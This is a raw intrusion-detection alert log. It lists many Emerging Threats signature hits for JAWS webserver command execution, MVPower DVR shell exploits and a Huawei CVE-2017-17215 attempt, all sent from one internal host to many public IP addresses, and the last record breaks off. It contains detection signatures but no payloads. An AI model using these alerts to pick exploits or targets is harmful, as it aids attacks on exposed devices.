ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 209.50.54.16

Timestamp:	03/13/24-09:36:23.781794
SID:	2030092
Source Port:	49456
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 43.227.22.178

Timestamp:	03/13/24-09:36:03.082657
SID:	2025883
Source Port:	46842
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 104.71.51.41

Timestamp:	03/13/24-09:36:17.472861
SID:	2030092
Source Port:	46112
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 185.249.70.206

Timestamp:	03/13/24-09:35:53.308919
SID:	2030092
Source Port:	39066
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 45.33.240.55

Timestamp:	03/13/24-09:36:55.165021
SID:	2030092
Source Port:	40650
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 52.55.75.181

Timestamp:	03/13/24-09:35:33.034272
SID:	2025883
Source Port:	36274
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 54.219.84.144

Timestamp:	03/13/24-09:35:49.160706
SID:	2030092
Source Port:	38208
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 210.203.11.238

Timestamp:	03/13/24-09:36:03.028460
SID:	2030092
Source Port:	49234
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 86.106.182.6

Timestamp:	03/13/24-09:36:49.258153
SID:	2030092
Source Port:	51816
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 209.50.54.16

Timestamp:	03/13/24-09:36:23.781794
SID:	2025883
Source Port:	49456
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 23.41.180.70

Timestamp:	03/13/24-09:36:37.612328
SID:	2030092
Source Port:	35718
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 23.203.38.149

Timestamp:	03/13/24-09:36:37.802109
SID:	2025883
Source Port:	59768
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 34.66.137.67

Timestamp:	03/13/24-09:36:31.370849
SID:	2025883
Source Port:	57080
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 95.55.211.177

Timestamp:	03/13/24-09:35:58.225126
SID:	2030092
Source Port:	39550
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 114.33.81.182

Timestamp:	03/13/24-09:36:55.452980
SID:	2025883
Source Port:	39680
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 202.130.202.115

Timestamp:	03/13/24-09:35:51.496269
SID:	2030092
Source Port:	52678
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 50.17.201.7

Timestamp:	03/13/24-09:36:23.770577
SID:	2030092
Source Port:	45862
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 23.75.211.230

Timestamp:	03/13/24-09:35:32.762667
SID:	2025883
Source Port:	36628
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 52.84.181.70

Timestamp:	03/13/24-09:36:14.134717
SID:	2030092
Source Port:	39868
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 154.201.131.98

Timestamp:	03/13/24-09:35:36.249043
SID:	2025883
Source Port:	56064
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 164.92.198.46

Timestamp:	03/13/24-09:35:38.349172
SID:	2025883
Source Port:	34576
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 37.116.86.63

Timestamp:	03/13/24-09:35:56.692950
SID:	2025883
Source Port:	50836
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 77.68.24.107

Timestamp:	03/13/24-09:36:56.114896
SID:	2030092
Source Port:	36970
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 160.99.23.245

Timestamp:	03/13/24-09:35:36.008345
SID:	2030092
Source Port:	35146
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 150.60.7.143

Timestamp:	03/13/24-09:35:48.996515
SID:	2025883
Source Port:	56698
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 147.255.147.103

Timestamp:	03/13/24-09:35:32.552165
SID:	2025883
Source Port:	37936
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 107.178.248.134

Timestamp:	03/13/24-09:36:35.185976
SID:	2030092
Source Port:	50078
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 152.92.119.127

Timestamp:	03/13/24-09:36:35.316946
SID:	2030092
Source Port:	58828
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 52.84.181.70

Timestamp:	03/13/24-09:36:14.134717
SID:	2025883
Source Port:	39868
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 184.24.27.148

Timestamp:	03/13/24-09:36:12.695319
SID:	2030092
Source Port:	40730
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 200.88.231.100

Timestamp:	03/13/24-09:35:35.768917
SID:	2025883
Source Port:	56846
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 104.165.55.231

Timestamp:	03/13/24-09:36:11.864411
SID:	2025883
Source Port:	50680
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 82.194.168.210

Timestamp:	03/13/24-09:36:13.430832
SID:	2030092
Source Port:	48152
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 23.58.104.81

Timestamp:	03/13/24-09:35:02.898657
SID:	2025883
Source Port:	34984
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 183.110.116.127

Timestamp:	03/13/24-09:35:58.652675
SID:	2030092
Source Port:	59360
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 216.57.226.26

Timestamp:	03/13/24-09:36:14.010919
SID:	2030092
Source Port:	49826
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 20.91.181.127

Timestamp:	03/13/24-09:36:49.268725
SID:	2025883
Source Port:	54294
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 54.179.3.83

Timestamp:	03/13/24-09:36:16.257152
SID:	2030092
Source Port:	33634
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 50.17.201.7

Timestamp:	03/13/24-09:36:23.770577
SID:	2025883
Source Port:	45862
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 176.67.160.184

Timestamp:	03/13/24-09:36:55.008188
SID:	2030092
Source Port:	53162
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 101.178.248.87

Timestamp:	03/13/24-09:35:51.514577
SID:	2030092
Source Port:	59572
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 88.208.215.188

Timestamp:	03/13/24-09:36:07.193219
SID:	2025883
Source Port:	36210
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 23.33.17.143

Timestamp:	03/13/24-09:36:20.216388
SID:	2030092
Source Port:	36730
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 5.35.247.132

Timestamp:	03/13/24-09:36:49.121915
SID:	2030092
Source Port:	38548
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 23.59.5.160

Timestamp:	03/13/24-09:36:45.854366
SID:	2025883
Source Port:	40268
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.224.11.234

Timestamp:	03/13/24-09:36:12.499031
SID:	2829579
Source Port:	60620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 23.37.0.24

Timestamp:	03/13/24-09:36:45.747749
SID:	2030092
Source Port:	35558
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 155.4.113.220

Timestamp:	03/13/24-09:35:23.500338
SID:	2025883
Source Port:	44050
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 104.105.93.19

Timestamp:	03/13/24-09:35:03.334952
SID:	2030092
Source Port:	45886
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 204.210.116.62

Timestamp:	03/13/24-09:36:26.438397
SID:	2025883
Source Port:	46812
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 104.107.159.225

Timestamp:	03/13/24-09:36:06.249707
SID:	2030092
Source Port:	46420
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 52.9.249.33

Timestamp:	03/13/24-09:36:48.974370
SID:	2025883
Source Port:	58350
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 104.106.77.5

Timestamp:	03/13/24-09:36:13.119447
SID:	2030092
Source Port:	50300
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 66.161.168.153

Timestamp:	03/13/24-09:36:17.093797
SID:	2030092
Source Port:	49644
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 95.55.211.177

Timestamp:	03/13/24-09:35:58.225126
SID:	2025883
Source Port:	39550
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 71.132.45.65

Timestamp:	03/13/24-09:36:12.813979
SID:	2025883
Source Port:	34986
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 35.73.74.28

Timestamp:	03/13/24-09:35:04.174452
SID:	2025883
Source Port:	54828
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 18.229.108.40

Timestamp:	03/13/24-09:35:41.314483
SID:	2030092
Source Port:	56028
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 183.89.41.96

Timestamp:	03/13/24-09:36:29.194231
SID:	2030092
Source Port:	46110
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 154.12.44.58

Timestamp:	03/13/24-09:36:35.422648
SID:	2025883
Source Port:	45612
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 129.13.103.12

Timestamp:	03/13/24-09:36:42.292485
SID:	2030092
Source Port:	48994
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 192.210.166.224

Timestamp:	03/13/24-09:36:46.072696
SID:	2030092
Source Port:	54088
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.254.100.183

Timestamp:	03/13/24-09:36:17.845532
SID:	2829579
Source Port:	50276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 18.188.91.253

Timestamp:	03/13/24-09:35:56.112757
SID:	2025883
Source Port:	35520
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 23.216.248.188

Timestamp:	03/13/24-09:36:23.839993
SID:	2025883
Source Port:	46598
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 84.33.8.231

Timestamp:	03/13/24-09:36:42.303924
SID:	2030092
Source Port:	52702
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 50.2.159.150

Timestamp:	03/13/24-09:35:53.060125
SID:	2030092
Source Port:	50684
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 154.201.131.98

Timestamp:	03/13/24-09:35:36.249043
SID:	2030092
Source Port:	56064
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 54.179.3.83

Timestamp:	03/13/24-09:36:16.257152
SID:	2025883
Source Port:	33634
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 154.12.44.58

Timestamp:	03/13/24-09:36:35.422648
SID:	2030092
Source Port:	45612
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 202.130.202.115

Timestamp:	03/13/24-09:35:51.496269
SID:	2025883
Source Port:	52678
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 178.60.220.88

Timestamp:	03/13/24-09:36:07.270309
SID:	2025883
Source Port:	37316
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 18.188.91.253

Timestamp:	03/13/24-09:35:56.112757
SID:	2030092
Source Port:	35520
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 109.199.125.205

Timestamp:	03/13/24-09:36:35.266866
SID:	2025883
Source Port:	60646
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 78.128.68.56

Timestamp:	03/13/24-09:36:51.224437
SID:	2025883
Source Port:	48226
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 185.141.189.165

Timestamp:	03/13/24-09:36:49.111616
SID:	2025883
Source Port:	48922
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 176.67.160.184

Timestamp:	03/13/24-09:36:55.008188
SID:	2025883
Source Port:	53162
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 102.23.246.117

Timestamp:	03/13/24-09:35:58.388854
SID:	2030092
Source Port:	46812
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 5.35.247.132

Timestamp:	03/13/24-09:36:49.121915
SID:	2025883
Source Port:	38548
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 217.13.58.188

Timestamp:	03/13/24-09:35:30.211465
SID:	2025883
Source Port:	47576
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 23.14.68.121

Timestamp:	03/13/24-09:35:49.348563
SID:	2025883
Source Port:	49982
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 202.62.220.100

Timestamp:	03/13/24-09:35:36.512429
SID:	2030092
Source Port:	44814
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 155.4.113.220

Timestamp:	03/13/24-09:35:23.500338
SID:	2030092
Source Port:	44050
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 35.156.28.97

Timestamp:	03/13/24-09:36:06.207197
SID:	2025883
Source Port:	50450
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 23.59.5.160

Timestamp:	03/13/24-09:36:45.854366
SID:	2030092
Source Port:	40268
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 23.64.173.172

Timestamp:	03/13/24-09:36:46.908705
SID:	2030092
Source Port:	59814
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 47.100.116.194

Timestamp:	03/13/24-09:36:24.579485
SID:	2030092
Source Port:	57126
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 23.33.17.143

Timestamp:	03/13/24-09:36:20.216388
SID:	2025883
Source Port:	36730
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 217.13.58.188

Timestamp:	03/13/24-09:35:30.211465
SID:	2030092
Source Port:	47576
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 183.89.41.96

Timestamp:	03/13/24-09:36:29.194231
SID:	2025883
Source Port:	46110
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 23.14.68.121

Timestamp:	03/13/24-09:35:49.348563
SID:	2030092
Source Port:	49982
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 182.23.79.157

Timestamp:	03/13/24-09:35:03.594209
SID:	2030092
Source Port:	46008
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 71.132.45.65

Timestamp:	03/13/24-09:36:12.813979
SID:	2030092
Source Port:	34986
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 104.19.52.162

Timestamp:	03/13/24-09:36:07.118468
SID:	2030092
Source Port:	40648
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 35.73.74.28

Timestamp:	03/13/24-09:35:04.174452
SID:	2030092
Source Port:	54828
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 183.110.116.127

Timestamp:	03/13/24-09:35:58.652675
SID:	2025883
Source Port:	59360
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 12.171.196.53

Timestamp:	03/13/24-09:36:35.217081
SID:	2030092
Source Port:	48862
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 104.27.121.82

Timestamp:	03/13/24-09:36:41.234949
SID:	2025883
Source Port:	57064
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 202.57.133.149

Timestamp:	03/13/24-09:36:38.371326
SID:	2030092
Source Port:	55184
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 81.158.178.51

Timestamp:	03/13/24-09:36:45.952634
SID:	2030092
Source Port:	39240
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 72.77.85.222

Timestamp:	03/13/24-09:35:49.103671
SID:	2025883
Source Port:	33974
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 18.160.205.137

Timestamp:	03/13/24-09:36:06.144557
SID:	2025883
Source Port:	53128
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 204.210.116.62

Timestamp:	03/13/24-09:36:26.438397
SID:	2030092
Source Port:	46812
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 52.9.249.33

Timestamp:	03/13/24-09:36:48.974370
SID:	2030092
Source Port:	58350
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 185.141.189.165

Timestamp:	03/13/24-09:36:49.111616
SID:	2030092
Source Port:	48922
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 102.23.246.117

Timestamp:	03/13/24-09:35:58.388854
SID:	2025883
Source Port:	46812
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 23.216.248.188

Timestamp:	03/13/24-09:36:23.839993
SID:	2030092
Source Port:	46598
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 192.210.166.224

Timestamp:	03/13/24-09:36:46.072696
SID:	2025883
Source Port:	54088
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 23.58.104.81

Timestamp:	03/13/24-09:35:02.898657
SID:	2030092
Source Port:	34984
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 178.60.220.88

Timestamp:	03/13/24-09:36:07.270309
SID:	2030092
Source Port:	37316
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 104.106.77.5

Timestamp:	03/13/24-09:36:13.119447
SID:	2025883
Source Port:	50300
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 23.32.127.47

Timestamp:	03/13/24-09:35:14.766475
SID:	2025883
Source Port:	51272
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 193.246.10.125

Timestamp:	03/13/24-09:36:55.211900
SID:	2025883
